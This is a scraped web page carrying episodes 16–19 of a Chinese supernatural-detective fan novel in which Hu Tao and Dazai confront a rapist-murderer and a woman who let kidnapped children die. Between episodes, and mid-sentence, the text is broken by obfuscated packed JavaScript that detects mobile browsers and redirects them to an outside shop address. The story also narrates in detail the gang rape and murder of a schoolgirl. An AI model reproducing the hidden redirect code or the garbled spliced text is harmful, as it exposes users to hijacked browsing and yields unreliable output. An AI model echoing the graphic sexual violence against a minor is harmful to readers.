l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290703|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晃晃地走起来。 “大叔,你国中是哪一所学校?也是在博多吗?” 胡桃突然唠家常一样说道, “你知道?店主大叔的女儿小桃香,其实是在横滨的樱丘附属学院上学哦!小桃香容貌秀丽,成绩优越,在学校很有人气。” “更难得的是,她还是游泳部的王牌,二年级就拿下了关东大赛的冠军。” 这样的女孩子,无论走到哪里都是闪闪发光,令人向往的存在。 可惜,彼时的竹本桃香对校园恋爱没有兴趣。 她只想专心训练,冲击三个月后的全国大赛。 只要拿下前三,她就能获得樱丘学园的双料奖学金,然后在三年级时顺利保送,直升樱丘高中,为家里减轻负担。 对于这样的结果,有人祝福钦佩,自然也有人心生怨怼。 甚至是,产生恶心的欲.念。 “对了,大叔,请问你中学的时候参加了什么社团?” 胡桃转过头,“游泳部?还是摄影部?” 武藤一诚:“小姑娘,你对叔叔的过往很感兴趣吗?” “……咦——” 胡桃闻言,脸上顿时露出一个明晃晃的嫌弃表情, “大叔,你对自己还真有自信。本堂主对人渣没有兴趣,这只是一些必要的除灵环节而已。” 不过,既然都聊到了这里—— “大叔,你不觉得很奇怪吗?” 胡桃继续说道,“根据警方的调查报告,小桃香是在社团训练结束后,回家的路上不幸撞见抢劫团伙,被残忍杀害后沉尸海底。但这不合理啊!” “有吗?叔叔我倒是觉得很合情合理。” 武藤一诚耸了耸肩膀,无所谓地说道。 此刻,他已经懒得再伪装,直接从口袋里伸出手,拿出藏着的手.枪。 男人熟练地子弹上膛,打开保险栓,黑洞洞地枪口抬起,对准岸边的胡桃。 “当然奇怪!” 胡桃瞪圆眼睛,她无视了瞄准自己的枪口,煞有介事地说道, “你想啊,既然是抢劫,一般的犯人会去抢一个国中生吗?又不是小孩子过家家,大费周章的行动,就为了抢一点明天早上买面包的钱。” “所以,比起抢劫,本堂主这里有另一个更合理的故事。” 比如说—— 竹本桃香从一开始遇到的就不是意外抢劫,而是一场彻头彻尾的、早有预谋的虐.杀。 16.Episode 16 麻烦把衣服穿上 “在这里,我们姑且把这个凶手称为B。” 北边港口 静谧的月光下,身着常服的黑发少女如一只灵巧的蝴蝶,轻盈地在原地转了一圈,背对着枪口在狭窄的河岸石柱上站定。 胡桃低头注视着水面,仿佛对波光粼粼的海面讲述故事般,语气轻柔地慢慢说道, “B是三年级的转学生,在他进入樱丘附属学园,看见小桃香的第一眼,他就‘喜欢’上了对方。可惜,小桃香对恋爱没兴趣,对追求者更是不假辞色。” 一般的学生当然不在意。 校园恋爱嘛,天涯何处无芳草,既然告白失败,那换一个就是。 更何况,校园女神专注学业,那折算下来,就约等于谁都没机会,她依然属于大家。 但B不一样。 他觉得自己被侮辱了,于是心生怨恨,决定给这个不识好歹的‘表子’一点颜色瞧瞧。 然后,他沿袭了某个城市的优良传统,雇佣了一伙儿下九流的人渣。 接下来,就是B最喜欢、也最期待的环节。 当天放学后,B躲在暗处耐心地等待。 他手持DV摄像机,看着竹本桃香在经过一处转角时,被一双大手从背后捂住嘴,拖进暗处的巷子里。 他看着这个对他不假辞色的女孩,被三个歹徒压制在肮脏的垃圾堆里,嘴巴被臭袜子堵住,下.体被撕裂侵.犯。 从头到尾,B都躲在暗处,完全没有‘英雄救美’的打算。 他兴奋地拿着摄影机,拍下了女孩被凌虐的全过程。 等到一切结束后,他尾随三个歹徒前往所谓的‘交货点’,然后在歹徒离开后,B才像一个英雄般登场。 但他没有扮演英雄。 他解开了自己的皮带,在竹本桃香亮起希望,又重新黯淡的绝望目光中,再一次侵.犯了她。 当然,整个过程中,B依然用摄像机拍下了一切。 这是他的初次体验,是他的战利品,自然值得拿出来反复观摩品味。 “哈哈哈哈,怎么样,爽吗?贱.人?” “你不是很干净吗?不是看不起我吗?” “这么喜欢游泳,我现在就送你一程,去海里游一辈子怎么样?” 最后的最后,明明还剩下一口气的竹本桃香,就这样被B扯着头发,像垃圾一样拖到岸边,推了下去。 之后,B以最快的速度办理了转学手续,离开了横滨。 警方将所有的调查资源,都集中在那三个‘抢劫犯’身上,却没人想到,这一桩恶心的案件,实则是出自一个学生之手。 …… ………… 胡桃说到这停了下来。 她转过头,询问地看向执枪的武藤一诚,“怎么样大叔?我有漏掉什么细节吗?” “没有,很完整。” B,或者说,此刻的武藤一诚赞叹地答道, “小姑娘,你的故事非常完整,也非常精彩,精彩得……就像是亲眼看到一样。” “好了,现在叔叔必须问你一个小问题。” 武藤一诚的手指勾起,半按下扳机,“说吧,你是从哪里知道这些的?” “证据呢?你把证据藏在了哪里?乖一点,老实说出来,叔叔愿意给你一个痛快,留个全尸。” “证据?” 黑洞的枪口下,胡桃丝毫不受影响地眨了眨眼睛。 她奇怪地瞥了眼武藤一诚,一副你在说什么废话的表情, “才没有那种东西哦。” “……什么?” 武藤一诚愣住,他没想到少女都被枪指着了,还敢露出这副有恃无恐的神态。 与此同时,仿佛无声的前兆般,一阵薄雾骤然出现。 它无声地侵蚀周遭的空气,沿着海面一点点向岸上蔓延,直至笼罩整个港口。如同一个看不见的结界,将此处与外界彻底隔绝开来。 海岸边,胡桃两手叉腰,用一种‘烂泥扶不上墙’的语气摇头说道, “我说大叔啊,你是不搞错了一件事?” “本堂主又不是警察或者侦探,找证据那是警方的事儿,和我有什么关系?” “不过,话又说回来,你这么想要证据,也不是没有。” 说话间,胡桃嘿然一笑,对男人道出了一个不亚于晴天霹雳的真相, “大叔,有句俗话说得特别好,叫做‘天道好轮回,恶人自有恶人磨’!大叔,你的那位未婚妻,可不是什么省油的灯哦。” “你该不会以为,自己拍摄的那些‘小电影’藏得很好吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304346|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嘿嘿,至于本堂主是从哪里知道这些的——” 胡桃说着,探头看了一眼开始‘咕嘟咕嘟’冒气泡的海面。 随后,她半仰起头,望向侧后方的武藤一诚,一双漂亮的梅花眼瞳落满月辉,在夜空下映衬着瑰丽的红光。 瑰丽,又带着一种说不出的诡艳。 她说,“时候差不多了。” “来看看吧,大叔,本堂主的身后……这是什么?” 哗啦! 几乎是少女话音落地的刹那,随着一声水花溅开的声响,一个漆黑的物体骤然破水而出! 它有着鱼一样的外表,又如蛇一样泅动着躯体。 它舒展着巨大的体型,遮蔽天上的月光,在地面投下一层不祥的阴影。 【】【】—— 恍惚间,一声声疑似啜泣的呜咽从鱼背上传来。 此时,握着枪的武藤一诚终于看清了,那是什么鬼东西。 那是一张张鱼鳞一样排列组成的哭泣人脸。 这是一条吞噬了无数‘怨灵’、活着的—— 【人面鱼】 ***** 与此同时,另一边 南边港口仓库 “池田小姐。” 面对眼前泪眼朦胧,神情脆弱的女士,太宰治轻声叹了口气。他抬起手臂,指尖搭在了自己的衣襟处。 池田萌奈心中一喜。 就在她以为自己的小把戏成功,对面的年轻警察(?)要脱下外套披在自己身上时,下一秒,只见太宰治指尖微微用力,然后,裹紧了自己的外套。 没错。 太宰治,面不改色地,裹紧了自己的外套。 池田萌奈:“……” “池田小姐,虽然从法律层面,我个人很同情你的倒霉遭遇,但很可惜,你的回答错误,你依然在说谎。” 此时此刻,某个前黑手党的语气依旧轻柔。 他鸢色的瞳眸泛着温柔的光泽,看着就像一个真正的绅士。 可惜,这说出的话嘛—— “池田小姐,我无法帮助你。” “另外,可以麻烦你把【自】【己】【的】衣服穿回去吗?请放心,我对你没有任何兴趣。” “港口晚上的风挺冷的,我不想感冒。” 17.Episode 17 禁止开口闭口 太宰治建议的语气轻柔而真诚,但落在池田萌奈的耳中,不亚于凌空甩来的巴掌。一股近乎耻辱的难堪涌上池田萌奈的心头,让她的脸颊火辣辣的生疼。 池田萌奈气得发抖,但太宰治的叙述还在继续。 “池田小姐,介于你们案情的特殊性,胡堂主曾专门拜访过一位老先生,得到了一个很有趣的线索。” “胡堂主告诉我们——” “胡堂主、胡堂主……胡堂主!” 呼啸的海风中,仅穿着一件单薄吊带衬裙的池田萌奈终于忍无可忍,骤然爆发。 她怨恨地瞪着太宰治,嗓音愈发尖利,甚至一度盖过海风, “你们横滨警察是离了女人就没脑子的蠢货吗?开口闭口只会胡堂主、胡堂主!明明我才是最该受到关注的受害者!” “我在向你求救啊!你们是打算见死不救吗?横滨警察!” 女人愤怒地吼出最后一句,尖酸的余音在空气中久久回荡。 “……” 这一下,太宰治闭上了嘴,没有再说话。 他鸢色的瞳眸平淡无波,就这么安静地看着跳脚的池田萌奈。直到对方急促的呼吸声稍缓,太宰治才继续开口, “池田小姐,一般而言,我并不想对女士太过苛刻,也乐于给她们保留一些体面,但既然这是你自己要求的——” 太宰治像是认真观察般,扫了一眼池田萌奈身上的伤口。 随后,他找了一处堆放在地上的水泥柱,双手插兜,姿态闲适地坐了下来, “池田小姐,你刚刚说,你的未婚夫一直对你施.暴,对吗?” “以人伦常情来讲,这确实值得同情。但不巧,我的上一份工作,让我比谁都清楚伤口的变化和暴力指数。” “以我的经验来看,你身上的这些伤口只是看着可怕,远远没达到伤筋动骨的程度。” “池田小姐,难道你真的不知道,真正施虐造成的伤口是什么样的吗?” “!!” 池田萌奈猛地僵住。 不远处的少年面带微笑,分明还是那副无害温和的模样。 他坐在那里的姿势闲适而懒散,但池田萌奈却本能地在其中感到了一丝恐惧,一种说不出的毛骨悚然。 她努力张嘴,却惊恐地发现,自己害怕得发不出一点声音,连喉咙都在发抖。 “当然,以上这些对普通人来说,也足够越线了。那么这里,就延伸出一个很重要的问题。” 太宰治好奇地问,“池田小姐,既然你痛苦于未婚夫的癖好,为什么不和他解除关系呢?” “根据你身上的伤口数量和一部分淡化的斑淤,再加上你方才的口供,这样的情况应该持续了相当长的时间。为什么直到现在,你都没有和他分手?” 是出于爱吗?是出于恐惧吗? 恐怕都不是。 “是因为财产,对吗?” 面对脸色逐渐紧张,却半天想不出一个借口的池田萌奈,太宰治如同贴心的教师,给愚蠢的学生递上一个参考答案, “池田小姐,根据调查,那栋公寓的房产证上,写的是你和武藤先生两个人的名字,属于共同财产。” 贸然分手,这一块产权势必会大打折扣。运气不好,还可能在诉讼中一败涂地,半点油水都捞不着。 但等到领证后,把人送进监狱就不一样了。 到时候,无论是现金流还是不动产,都不再是武藤一诚个人说的算了。具体如何,全凭她心情运作。 “不行吗?” 池田萌奈反问。 太宰治递来的‘理由’就像是瞌睡时的枕头,伸向落水者的浮木,池田萌奈来不及多想,几乎是迫不及待地伸手抓住。 “我忍了这么久,受了这么多苦头,拿回一点点报偿,难道有问题吗?” “当然没有问题。” 太宰治微笑,“无论律法如何裁断,池田小姐,这归根到底也是你们夫妻二人间的内务,外人无从置喙。” “但是,这里就又延伸出了另一个疑点。” “池田小姐,假设你打定主意要送武藤先生进监狱,公寓里也藏了足够充分的证据,你为什么还要自导自演,引警察上门搜查呢?” 这样绕一大圈,实在太麻烦了。 不仅有打草惊蛇的风险,最后还有可能功亏一篑。 “能告诉我理由吗,池田小姐?” 池田萌奈:“……” “我、我——” 不知是冷的,还是出于紧张害怕,池田萌奈的牙齿咯咯颤抖。 此刻,她看着太宰治的目光逐渐畏惧,仿佛在看一个通晓人心的可怕怪物。 对此,太宰治只是不在意地笑了笑,颇为贴心地替对方回答, “所有的关键,还是那栋公寓里藏着的东西,对吗?” “池田小姐,你从来不在乎什么‘施.暴’,甚至愿意配合未婚夫的癖好,否则,你身上的那些‘伤口’绝不仅仅如此。” “你真正想让警方搜罗出来的,是武藤一诚藏在公寓里的罪证。” “二十年前,他雇佣罪犯强.奸竹本桃香,最后在北边港口杀人沉尸的罪证。” 那个罪证是一张存储卡,里面以DV视频的方式,记录下了对方犯罪的全过程。 “池田小姐,你称呼自己的未婚夫为‘强.奸犯’。唯独这一句,你没有说谎,而你也早发现了这一点。” “但这里,又延伸出第三个问题。” 太宰治再次说道。 【延伸】、【延伸】、【延伸】—— 这熟悉的用词如同尖锐的针尖,一次次扎在池田萌奈的神经上,步步逼近,让池田萌奈的心理防线几近崩溃! “够了,不准说……不准再说——” 这一刻,池田萌奈真的害怕了。 她无助地睁大眼睛,连瞳孔都在可怜地颤抖。 可惜,某个前黑手党干部,向来不是什么心慈手软的好人。 “池田小姐,假设你的目标是在婚后送武藤一诚进监狱,抢夺财产,那么,那张存储卡就是最好的铁证。它的效力远比你所遭遇的‘施.暴’,强上百倍、千倍不止。” “你为什么没用?是不敢,还是……” 太宰治说到这,刻意拉长尾音停顿了很久。 足足三秒后,他才在池田萌奈愈发难看的脸色中,缓缓道出最后的答案, “——是不能,对吗?” “池田小姐,介于你曾经做过的某件事,你不能提交这份罪证,你冒不起这个风险。” “对了,说到这个——” 太宰治‘啊’了一声,他像是突然想到什么,对池田萌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314556|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈微微一笑, “池田小姐,让我们换一个轻松点的话题吧。” “你知道十五年前,那件轰动横滨的儿童连续诱拐案吗?很巧呢,竹本桃香的弟弟竹本凉太,也是那起案件的受害人之一。” “你记得他吗?” …… ………… 【竹本凉太】 当这个名字出现的瞬间,池田萌奈突然安静了下来。 她不再无助、不再颤抖、不再哀求,甚至……不再害怕。 池田萌奈停下了一切肢体动作上的反应,她缓缓地抬起头,一双眼睛直勾勾地盯住太宰治,脸色苍白如无影灯下的面具。 这绝对不是好现象。 吵架或是激烈的冲突中,如果一方突然从情绪外露的红脸转变成冷静的白脸,说明他的攻击欲望前所未有的提高。 不想遭遇可怕的袭击,就必须尽快逃走。 但很可惜,某个前黑手党先生丝毫不在意这些。 “渡边君,你从哪里知道的这个名字?” 池田萌奈突然语气亲昵地问道。 她环抱双臂的手指松开,右手状似随意般,轻轻地搭在了自己带来挎包上。 “很遗憾,还是往生堂的胡桃小姐。” 太宰治微微一笑,一点也不觉得自己正在他人暴起的边缘来回横跳。 “我和胡堂主一起拜访了草薙老先生,啊,就是二十年前,那位同时接手竹本桃香和竹本凉太案件的刑警。” “然后,他告诉了我们一个很有趣的线索。” “有趣?是什么?” 池田萌奈配合地询问,右手已经拉开了挎包的拉链。 女人的动作很轻,说是堪比专业级别的偷手也不为过。换成一般人,甚至完全发现不了其中的动静。 “‘幸亏那个女孩子的身体不错,才能一个人逃出犯人窝点那么远’。” 太宰治一字不错地重复道。 随即,他右腿闲适地搭在左腿上,饶有兴趣地问,“池田小姐,你不觉得这句话很有意思吗?” “一个被诱拐的孩童,不仅能单枪匹马地躲过看守,还能在长时间的关押下维持充沛的体力,顺利逃出犯人的窝点……” 太宰治说到这,自己都忍不住笑了一声, “恕我见识浅薄,有这种能力的小鬼,迄今为止我只见过一个。” 那还是个黑漆漆的小矮子。 “也许是那个女孩的运气好呢?” 池田萌奈的声音阴郁,毫无起伏。 她微微低下头,额前的刘海垂下遮盖住她的眼睛,让人一时分辨不清脸上的神情, “又或者,是神明显灵……那个往生堂不就干这个的?” “运气啊——” 太宰治沉吟片刻,遗憾地摇了摇头,“这倒是个不错说法,可惜,它依然无法解释那个女孩的体力问题。” “一般来说,为了让诱拐来的孩童保持乖巧,人贩子可不会让‘货物’吃得太饱。充其量一天一小块面包,只要吊着一口气,饿不死就行。” 在这样缺水缺粮的条件下,别说逃跑了,小孩能不能顺利走出牢房都是问题。 “因此,比起运气和神明显灵……池田小姐,我这里还有一个更符合逻辑的版本。” 一个更简单、也更残酷的版本。 18.Episode 18 你会说谎 “在这里,我们姑且把那个幸存的女孩称为A。” 南边港口的仓库区 太宰治上身放松地靠着背后的水泥柱,愣是把残次的建筑木料,坐出了皮革靠椅的效果。 他的语气舒缓,仿佛在说一个遥远的睡前故事。 “和其他幸福成长的小孩不同,A是在福利院出生的,她既没有宠爱她的父母,也没有可爱漂亮的玩具。” 在那个连成年人都自身难保的年代,别说玩具了,能有一口饭吃,都算福利院的院长良心未泯。 但和其余瘦小笨拙的孤儿相比,A在孤儿院的生活又称得上相当不错。 原因就在于,A很聪明。 她似乎从小就有一种天分,天生知道该巴结谁,该对谁撒娇讨好。 任何人在她眼里,不过是早已被划分好三六九等的‘资源包’,用不同的态度,为自己榨取出最多利益。 本来,故事按这样发展,A在顺利长大后,一定能闯出一番不错的成就。 不过很可惜,生活不是故事。 在之后的某一个冬天,A被绑架了。 从A被人贩子扔进窝点的第一秒起,她就知道,没有人会来救她这个孤儿。为了活下去,她必须另想办法。 于是理所当然的,A的天分再次发挥了作用。 在那些嚎啕大哭,尖叫地要妈妈的小孩里,A永远是最乖巧的那一个。她愿意配合人贩子,甚至自愿替他们‘收拾’不听话的小孩。 嘴甜、听话、会来事。 慢慢的,A得到了人贩子的一些信任,逐渐往‘得力助手’的方向发展。 毕竟,陌生的成年人会引起他人的戒备,但十岁的小女孩可不会。 A的日子又好了起来。 但,意外再一次降临了。 人贩子诱拐回了更多的孩童。 这一批‘货物’的质量相当不错,不管是‘自用’还是卖出去,都能赚上一大笔。 然而,让他们没想到的是,一向慢吞吞的横滨警方这次竟然一反常态,对案件表现出前所未有的重视和高效。 他们甚至一路向上请求外援,得到了东京的那位名警察的支持! 【凭什么?】 【凭什么?】 【为什么当初就没有人来救她?】 【就因为她是一个孤儿?没有任何关注的价值?】 彼时,嫉妒如一颗种子,在A的心中悄然埋下。 几天后,A偷听到几个人贩子私下的谈话。 “怎么办?听说横滨的条子请到了东京那边的警察!说是很厉害,解决过不少……咱们的几个窝点都被端了,早晚……” “——那就全卖了!” “卖不掉就处理掉!亏点就亏点,现在保命要紧。” “那、那个小的呢?要不要一起……?” 其中一个人贩子比了一个带走的手势,示意要不要留下A。怎么说也是好用的工具,就这么浪费掉怪可惜的。 “一起处理了。” 哪知,为首的老大一秒犹豫也没有,直接摆手说道, “咱们是逃命,带着一个女娃目标太大……等等,留着也行。正好,我认识一个老家伙,他就喜欢这种的。等过两天联系人到了,我们立刻——” 后面的话已经不需要再听了。 彼时,A轻手轻脚地后退两步,一路强忍着情绪回到关押‘货物’的货仓里,整个人蜷缩在地上瑟瑟发抖。 【要逃。】 【必须要逃。】 【……可是,要怎么做?要怎么才能——】 昏暗的货仓内,A焦躁地摩挲着指关节处的红痣。巨大的危机如悬挂在头顶的达摩克利斯之剑,每度过一秒钟,都让她汗毛直竖,胆战心惊。 就在A一筹莫展的时候,一个稚嫩的嗓音从旁边传来。 “……姐姐,是肚、肚肚饿了吗?” 囚禁的铁笼内,一只孩童的小手从笼子里伸出,掌心里攥着一小块舍不得吃的面包碎,费力地递到A的面前。 “给你,吃,不哭,不哭。” 笼子的幼童笨拙地小声安慰。 幼童的年龄不大,看着不过四岁,脖子上挂着小小的长命锁。他脸上脏兮兮的,身上还穿着刚诱拐来时的小熊睡衣。 “……” 彼时,A盯着那块面包屑看了一会儿。 片刻后,她的目光上移,又注视着幼童那张天真可爱的小脸看了很久很久。 然后,A的脸上慢慢浮现起一个露.骨的笑容。 【她想到了。】 【……能顺利逃出去的办法。】 那天晚上,笼子里的孩童们被一个个悄悄摇醒。 他们懵懂而惊慌地睁着眼,看见和他们住在一起的姐姐,对他们露出一个天使般温柔的笑容,轻声问道, “你们,想回家吗?” …… ………… “池田小姐,在自然界中,有这么一条守则。” 南边港口仓库 太宰治单手搭在下颚处,语气平淡,“如果在野外遇到老虎,你不需要跑得比老虎快,你只需要跑过你的同伴。” 可怕的老虎会先吃掉瘦弱的猎物,而跑得最快的那一批,则能争取到更多时间。 这个道理放在A身上也是一样的。 她从不在意那场‘逃亡行动’会折损多少同伴,又有多少孩童会被人贩子抓住,下场凄惨—— 倒不如说,这反而是她想要的。 毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“A小姐,横滨警方的速度其实不慢。那七个孩子,他们本可以活下来的。” “是你‘杀’死了他们。” 而这,才是池田萌奈无法直接报警真正的理由。 四岁的竹本凉太,就是昔日死去的孩童之一,他是竹本桃香的弟弟。 一旦竹本桃香的案件重见天日,竹本凉太的档案势必会一起被翻出来,甚至是—— 池田萌奈作为‘幸存者’的身份,也会被一并发现。 所以,她不能冒这个风险。 19.Episode 19 窃听器 太宰治说到这就停了下来,很久没有再开口。 这一次,港口仓库陷入了比之前更长的沉默。夜色万籁俱静,唯独海风在空旷的岸上不断呼啸回荡。 隐约间,太宰治注意到有几道黑影,在池田萌奈的脚下闪过。 它们原本被禁锢在女人的影子里,此刻,竟然隐隐有挣脱束缚的趋势。黑影接二连三的从影子里冒出,在女人的背后缓缓凝结成型。 一个、两个、三个…… 除了戴着长命锁的幼童外,还有六个鬼童。 算上数量,恰好是当初,死于沼泽池的那七个孩子。 “很好,看来你的遗言说完了。” 池田萌奈没有发现身后的异常。 此刻,女人的语气已经完全冷了下来。 面对太宰治揭露的真相,池田萌奈的脸上不见一丝慌乱。她镇定地从挎包中取出长手套戴上,掏出以备不时之需的手.枪。 “喀哒。” 随着一声利落的上膛音,池田萌奈抬起手,枪口对准太宰治。 “哦呀,这可真是可怕。” 太宰治配合地举起双臂做投降状,但嘴巴依旧没闲着,“池田小姐,你看起来一点也不愧疚呢。” “你说……愧疚?” 池田萌奈尾音扬起,一字一句重复了一遍这个词。 下一秒,她像是听到什么滑稽的笑话,脸上浮现起毫不掩饰的讥嘲, “我为什么要愧疚?” “渡边君,‘愧疚’这种东西,是只有你们这些从小在妈妈怀里长大的乖宝宝,被保护在蜜糖里的幸运儿才有的奢侈品。而它对我来说,一文不值。” “我吃了那么多苦头,忍了那么久,从他们手里拿回一点好处怎么了?” 对于自己的行径,池田萌奈不以为耻, “我只是想要活下去,才不得已用了一些小小的手段啊,有什么好愧疚的?” “至于那些小鬼……呵,那是他们蠢,竟然会相信一个陌生人的话。” “那是他们蠢!蠢货就该给聪明人让道!” 池田萌奈猛地抬高嗓音,想要借此盖过太宰治提出的世俗道德。 “至于你--” 池田萌奈的语气又忽然低了下来,她盯着太宰治,突然露出一个甜蜜期待的笑容, “放心吧,渡边君,我会好好利用你的尸体。武藤一诚去见你们的胡堂主了,想必再过不久,那个可爱的小姑娘也会步上竹本桃香的后尘。” “所以,这个故事怎么样?” “警局新人渡边意外撞破谋杀现场,意图营救无辜人质,却在交火时身中数枪,和凶手同归于尽,陨命当场。” 而她,就是那个唯一活下来的、无辜的可怜人质。 池田萌奈越说,脸上的笑容越咧越大,最后几乎快要抑制不住眼底胜利的喜悦。 “好吧,池田小姐,就当你的计划完美无缺。” 太宰治无所谓地耸了耸肩膀,没有兴趣指导一个蠢货如何完美犯罪,他只想确认另一件事。 “作为我死后的回报——” “池田小姐,在你开枪前,我能问你最后一个问题吗?” 池田萌奈闻言,缓缓眯起了眼。 别同意,这是蠢事。 这是放在任何一部影视作品里,能排得上前三的蠢事。但池田萌奈无法控制。她实在太享受这一刻,作为胜利者的时光了。 于是,她决定大方地给予将死之人,一点小小的赏赐。 池田萌奈得意地晃了晃手里的枪,“说。” “非常感谢。” “那么,我的问题是——” 太宰治微笑地开口,然后,他在对方的注视下,道出一句与眼下境况毫不相关的话题, “池田小姐,请问你在说服那些孩子逃走前,你有和他们【拉钩】吗?” “……什么?” 池田萌奈一愣,怀疑不是自己听错了,就是对面这个年轻的警察(?)脑子进水。 “【拉钩】,就是那个所有孩子都会的小仪式。” 像是为了让女人记起更多的细节,太宰治又重复了一遍这个词,甚至很贴心地唱了出来。 “--勾手指,勾手指,说谎的人要吞千根针,切掉小手指。”(①) 纯真的童谣在深夜的空气中回荡。 少年的嗓音清朗动听,歌词也是耳熟能详的句子,但这一刻听着,莫名让人心底发凉,有一种说不出的诡异感。 “……池田小姐,请问,你有和那些孩子,许下这样的约定吗?” 太宰治问道。 他的声音轻得不可思议,仿佛法庭高高举起,等待落下的法槌。 【问,你有以此为约定,承诺带他们回家?】 池田萌奈:“……” 池田萌奈的神情微动,显然,她记起来了。 “哈,有又怎么样?那不过是让他们乖乖上当的权宜——” 咚。 无声的法槌自虚空落下。 这一刻,那些缠绕在鬼童们身上的、名为‘约定’的束缚,瞬间在池田萌奈的承认下轰然碎裂! 获得自由的鬼童们面面相觑。随后,他们动作一致地仰头,看向了池田萌奈 此时,池田萌奈还在大声嘲讽那些孩童的愚蠢无知。 而这一次,太宰治没有赞同池田萌奈。 黑发少年叹气地摇头,一副这下就算神明来了,都救不了你的语气, “池田小姐,你说过吧,你能逃出去是‘运气’和‘神明显灵’的双重结果。” “你的运气确实不错。当时指挥案件的那位名警察,中途曾被上级紧急调走,转而处理另一桩恶.性谋杀案。如果由他进行最后的收尾工作,你恐怕很难瞒天过海。” 至于神明显灵—— “事实是,神明不会怜悯无耻之人,但天真的孩子最遵守诺言。池田小姐,你不回头看看吗?” “看一看,你背后的那些……都是什么?” “……” “……” 池田萌奈的脸皮僵住。 她想要讥讽太宰治垂死挣扎的丑态,却惊恐地发现,自己的手脚像是被冻住一样,动弹不得。 与此同时,一股古怪的气味被风吹了过来。 强烈的、就像微生物腐烂时的臭味。 池田萌奈记得这股气味。 它实在太熟悉了,熟悉得就好像…… 就好像,她又重新回到了当初被诱拐的日子,帮人贩子处理不听话的小孩,把他们的尸体一个接一个地丢进沼泽池—— 不可能!这不可能! 什么鬼怪,什么约定……肯定是这个警察在装神弄鬼! 没错,就是这个警察,是他在装神弄鬼! 累积的惊恐如火山般喷发。 即使池田萌奈不停地在心中告诉自己,一切都只是诡计和幻觉,但身后飘来的沼泽臭气实在太过真实。 连带着脚边,似乎有什么东西出现,轻轻揪住了她的裙摆。 池田萌奈:“……” 一瞬间,池田萌奈仿佛当头被浇了一盆冰冻的冷水,连骨头缝隙都往外冒寒气。 大脑的神经疯狂发出危险的信号,警告她不要低头,不要、不要去看。 然而,池田萌奈的身体却仿佛有自己的意识—— 女人的脖子一寸一寸低下,然后,和一群漆黑的影子四目相对。 是孩子。 那是一个又一个,早已死亡的鬼童。 他们浑身焦黑,仿佛经历了极为可怕的大火,五官扭曲腐烂,让人分辨不清哪块是骨头,哪块是肉。 唯独他们的眼睛。 这一刻,这些从死去开始,就一直跟在池田萌奈身边的鬼童们,各自睁着只剩下眼白的眼眶,直勾勾地盯着池田萌奈。 他们惊喜地说—— “太好了,你终于看到我们了……回家,快带我们,回家。” “……” “…………………………” 池田萌奈猛地睁大了眼睛。 这一秒,仿佛整个世界都安静了下来。 整整三秒的死寂中,某个前黑手党干部默默换了一个姿势,捂住自己的耳朵。 不得不说,这是个很有先见之明的举措。 因为就在第四秒—— “啊啊啊!鬼、鬼!!!鬼!!你们不要过来!!鬼——!!!!!” 女人的尖叫如指甲挠过黑板,瞬间在夜空下爆发出极具穿透力的凄厉噪音。 饶是太宰治早有准备,还是被震得当场一抖,距离耳膜破溃只差一点点。 “滚!滚!不要过来——滚开!” 骤然撞鬼的冲击,让池田萌奈彻底失去理智。 她惊恐地对着鬼童连开数枪,在发现子弹虚空地穿过鬼影,没有产生任何作用后,女人干脆调转枪头,瞄准太宰治。 “都是你!全部都是你的错!这些都是你的诡计!” “去死!去死!” 极致的怨恨与恐惧扭曲了池田萌奈的面孔。 这一次,她再也顾不上其他,径直对准太宰治扣下扳机! 呯——! 硝.烟的子弹激射而出,以极为可怕的高速朝着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14336077|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太宰治疾驰而去。 然而,太宰治没有躲。 他像是乐于拥抱死亡,一动不动地站在原地,甚至欣然地勾起嘴角。 “……啧!麻烦的找死鬼!滚开!” 随着一声不耐烦的咒骂插.入,同样浑身裹着绷带的青年瞬息出现在太宰治身边。 他毫不客气地抬起脚,用力踹在太宰治的腰上,把人一脚踢开。 “叮!” 子弹与特质的镰刀相撞,在空中发出清脆的金属撞击。 “你也是!给老子——安分一点!” 